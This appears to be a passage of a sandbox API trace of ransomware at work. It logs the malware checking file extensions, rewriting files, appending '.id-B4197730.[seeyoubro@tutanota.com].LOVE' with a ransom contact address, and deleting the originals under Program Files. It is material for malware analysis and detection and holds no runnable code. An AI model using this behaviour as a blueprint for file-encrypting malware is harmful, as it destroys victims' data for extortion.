Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0217.442] lstrlenW (lpString=".zip") returned 4 [0217.442] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0217.442] lstrlenW (lpString=".rar") returned 4 [0217.442] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0217.442] lstrlenW (lpString=".bz2") returned 4 [0217.442] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0217.442] lstrlenW (lpString=".7z") returned 3 [0217.442] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0217.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0217.442] lstrlenW (lpString=".dbf") returned 4 [0217.442] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0217.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0217.443] lstrlenW (lpString=".1cd") returned 4 [0217.443] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0217.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0217.443] lstrlenW (lpString=".jpg") returned 4 [0217.443] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0217.443] GetLastError () returned 0x0 [0217.443] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0217.702] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0217.706] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.706] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf2, lpOverlapped=0x0) returned 1 [0217.706] SetEndOfFile (hFile=0x374) returned 1 [0217.707] CloseHandle (hObject=0x374) returned 1 [0217.707] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.707] SetEndOfFile (hFile=0x2d8) returned 1 [0217.710] CloseHandle (hObject=0x2d8) returned 1 [0217.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0217.710] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0217.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0217.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0217.711] lstrlenW (lpString=".doc") returned 4 [0217.711] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.711] lstrlenW (lpString=".docx") returned 5 [0217.711] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0217.711] lstrlenW (lpString=".pdf") returned 4 [0217.711] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.711] lstrlenW (lpString=".xls") returned 4 [0217.711] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.711] lstrlenW (lpString=".xlsx") returned 5 [0217.711] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0217.711] lstrlenW (lpString=".ppt") returned 4 [0217.711] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0217.711] lstrlenW (lpString=".zip") returned 4 [0217.711] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.711] lstrlenW (lpString=".rar") returned 4 [0217.711] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.711] lstrlenW (lpString=".bz2") returned 4 [0217.711] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.711] lstrlenW (lpString=".7z") returned 3 [0217.711] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0217.711] lstrlenW (lpString=".dbf") returned 4 [0217.711] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0217.711] lstrlenW (lpString=".1cd") returned 4 [0217.711] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0217.711] lstrlenW (lpString=".jpg") returned 4 [0217.711] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0219.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0219.375] lstrlenW (lpString=".doc") returned 4 [0219.375] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.375] lstrlenW (lpString=".docx") returned 5 [0219.376] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0219.376] lstrlenW (lpString=".pdf") returned 4 [0219.376] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.376] lstrlenW (lpString=".xls") returned 4 [0219.376] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.376] lstrlenW (lpString=".xlsx") returned 5 [0219.376] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0219.376] lstrlenW (lpString=".ppt") returned 4 [0219.376] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0219.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0219.376] lstrlenW (lpString=".zip") returned 4 [0219.376] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0219.376] lstrlenW (lpString=".rar") returned 4 [0219.376] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0219.376] lstrlenW (lpString=".bz2") returned 4 [0219.376] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0219.376] lstrlenW (lpString=".7z") returned 3 [0219.376] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0219.376] lstrlenW (lpString=".dbf") returned 4 [0219.376] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0219.376] lstrlenW (lpString=".1cd") returned 4 [0219.376] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61 [0219.376] lstrlenW (lpString=".jpg") returned 4 [0219.376] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.253] GetLastError () returned 0x0 [0220.253] ReadFile (in: hFile=0x368, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x3ba48, lpOverlapped=0x0) returned 1 [0220.453] WriteFile (in: hFile=0x338, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x3ba50, lpOverlapped=0x0) returned 1 [0220.456] ReadFile (in: hFile=0x368, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.457] WriteFile (in: hFile=0x338, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xe2, lpOverlapped=0x0) returned 1 [0220.457] SetEndOfFile (hFile=0x338) returned 1 [0220.457] CloseHandle (hObject=0x338) returned 1 [0220.457] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.457] SetEndOfFile (hFile=0x368) returned 1 [0220.459] CloseHandle (hObject=0x368) returned 1 [0220.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.460] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0220.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0220.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0220.460] lstrlenW (lpString=".doc") returned 4 [0220.460] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0220.460] lstrlenW (lpString=".docx") returned 5 [0220.460] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0220.460] lstrlenW (lpString=".pdf") returned 4 [0220.460] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0220.460] lstrlenW (lpString=".xls") returned 4 [0220.460] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0220.460] lstrlenW (lpString=".xlsx") returned 5 [0220.460] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0220.460] lstrlenW (lpString=".ppt") returned 4 [0220.460] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0220.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0220.460] lstrlenW (lpString=".zip") returned 4 [0220.460] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0220.460] lstrlenW (lpString=".rar") returned 4 [0220.460] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0220.461] lstrlenW (lpString=".bz2") returned 4 [0220.461] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0220.461] lstrlenW (lpString=".7z") returned 3 [0220.461] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0220.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0220.461] lstrlenW (lpString=".dbf") returned 4 [0220.461] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0220.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0220.461] lstrlenW (lpString=".1cd") returned 4 [0220.461] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0220.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0220.461] lstrlenW (lpString=".jpg") returned 4 [0220.461] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0220.470] GetLastError () returned 0x0 [0220.470] ReadFile (in: hFile=0x368, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x30a0, lpOverlapped=0x0) returned 1 [0220.517] WriteFile (in: hFile=0x338, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x30b0, lpOverlapped=0x0) returned 1 [0220.518] ReadFile (in: hFile=0x368, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.518] WriteFile (in: hFile=0x338, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xfa, lpOverlapped=0x0) returned 1 [0220.518] SetEndOfFile (hFile=0x338) returned 1 [0220.518] CloseHandle (hObject=0x338) returned 1 [0220.518] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.518] SetEndOfFile (hFile=0x368) returned 1 [0220.519] CloseHandle (hObject=0x368) returned 1 [0220.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.519] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0220.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0220.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0220.519] lstrlenW (lpString=".doc") returned 4 [0220.519] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.519] lstrlenW (lpString=".docx") returned 5 [0220.519] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0220.519] lstrlenW (lpString=".pdf") returned 4 [0220.519] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.519] lstrlenW (lpString=".xls") returned 4 [0220.520] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.520] lstrlenW (lpString=".xlsx") returned 5 [0220.520] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0220.520] lstrlenW (lpString=".ppt") returned 4 [0220.520] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0220.520] lstrlenW (lpString=".zip") returned 4 [0220.520] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.520] lstrlenW (lpString=".rar") returned 4 [0220.520] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.520] lstrlenW (lpString=".bz2") returned 4 [0220.520] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.520] lstrlenW (lpString=".7z") returned 3 [0220.520] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0220.520] lstrlenW (lpString=".dbf") returned 4 [0220.520] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0220.520] lstrlenW (lpString=".1cd") returned 4 [0220.520] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0220.520] lstrlenW (lpString=".jpg") returned 4 [0220.520] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.521] GetLastError () returned 0x0 [0220.521] ReadFile (in: hFile=0x368, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x5080, lpOverlapped=0x0) returned 1 [0220.586] WriteFile (in: hFile=0x338, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x5090, lpOverlapped=0x0) returned 1 [0220.587] ReadFile (in: hFile=0x368, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.587] WriteFile (in: hFile=0x338, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf4, lpOverlapped=0x0) returned 1 [0220.587] SetEndOfFile (hFile=0x338) returned 1 [0220.588] CloseHandle (hObject=0x338) returned 1 [0220.588] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.588] SetEndOfFile (hFile=0x368) returned 1 [0220.589] CloseHandle (hObject=0x368) returned 1 [0220.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.589] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0220.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0220.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0220.589] lstrlenW (lpString=".doc") returned 4 [0220.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.589] lstrlenW (lpString=".docx") returned 5 [0220.589] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0220.589] lstrlenW (lpString=".pdf") returned 4 [0220.590] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.590] lstrlenW (lpString=".xls") returned 4 [0220.590] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.590] lstrlenW (lpString=".xlsx") returned 5 [0220.590] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0220.590] lstrlenW (lpString=".ppt") returned 4 [0220.590] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0220.590] lstrlenW (lpString=".zip") returned 4 [0220.590] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.590] lstrlenW (lpString=".rar") returned 4 [0220.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.590] lstrlenW (lpString=".bz2") returned 4 [0220.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.590] lstrlenW (lpString=".7z") returned 3 [0220.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0220.590] lstrlenW (lpString=".dbf") returned 4 [0220.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0220.590] lstrlenW (lpString=".1cd") returned 4 [0220.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0220.590] lstrlenW (lpString=".jpg") returned 4 [0220.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.591] GetLastError () returned 0x0 [0220.591] ReadFile (in: hFile=0x368, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x18888, lpOverlapped=0x0) returned 1 [0220.664] WriteFile (in: hFile=0x338, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x18890, lpOverlapped=0x0) returned 1 [0220.790] ReadFile (in: hFile=0x368, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.790] WriteFile (in: hFile=0x338, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf6, lpOverlapped=0x0) returned 1 [0220.791] SetEndOfFile (hFile=0x338) returned 1 [0221.308] CloseHandle (hObject=0x338) returned 1 [0221.308] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.309] SetEndOfFile (hFile=0x368) returned 1 [0221.310] CloseHandle (hObject=0x368) returned 1 [0221.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0221.310] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0221.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0221.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0221.444] lstrlenW (lpString=".doc") returned 4 [0221.444] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0221.444] lstrlenW (lpString=".docx") returned 5 [0221.444] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0221.444] lstrlenW (lpString=".pdf") returned 4 [0221.444] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0221.444] lstrlenW (lpString=".xls") returned 4 [0221.444] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0221.444] lstrlenW (lpString=".xlsx") returned 5 [0221.444] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0221.444] lstrlenW (lpString=".ppt") returned 4 [0221.444] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0221.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0221.444] lstrlenW (lpString=".zip") returned 4 [0221.444] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0221.444] lstrlenW (lpString=".rar") returned 4 [0221.444] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0221.444] lstrlenW (lpString=".bz2") returned 4 [0221.444] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0221.444] lstrlenW (lpString=".7z") returned 3 [0221.444] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0221.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0221.444] lstrlenW (lpString=".dbf") returned 4 [0221.444] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0221.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0221.444] lstrlenW (lpString=".1cd") returned 4 [0221.444] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0221.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0221.444] lstrlenW (lpString=".jpg") returned 4 [0221.444] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 Thread: id = 19 os_tid = 0xfe4 [0194.574] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3c90948 [0194.574] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3ca0950 [0194.575] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd68 [0194.575] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7ec430 [0194.575] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee080 [0194.575] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3e68020 [0194.577] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee0e0 [0194.577] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee0e0, Size=0x20) returned 0x7e0070 [0194.577] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee098 [0194.577] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee098, Size=0x20) returned 0x7e0368 [0194.577] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0194.577] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0194.577] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff50 | out: OldValue=0x315ff50*=0x0) returned 1 [0194.577] lstrlenW (lpString="kernel32.dll") returned 12 [0194.578] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0070 | out: hHeap=0x790000) returned 1 [0194.578] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.578] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0368 | out: hHeap=0x790000) returned 1 [0194.578] Sleep (dwMilliseconds=0x64) [0194.785] Sleep (dwMilliseconds=0x64) [0195.093] lstrcmpiW (lpString1=".cmd", lpString2=".LOVE") returned -1 [0195.093] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0195.093] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 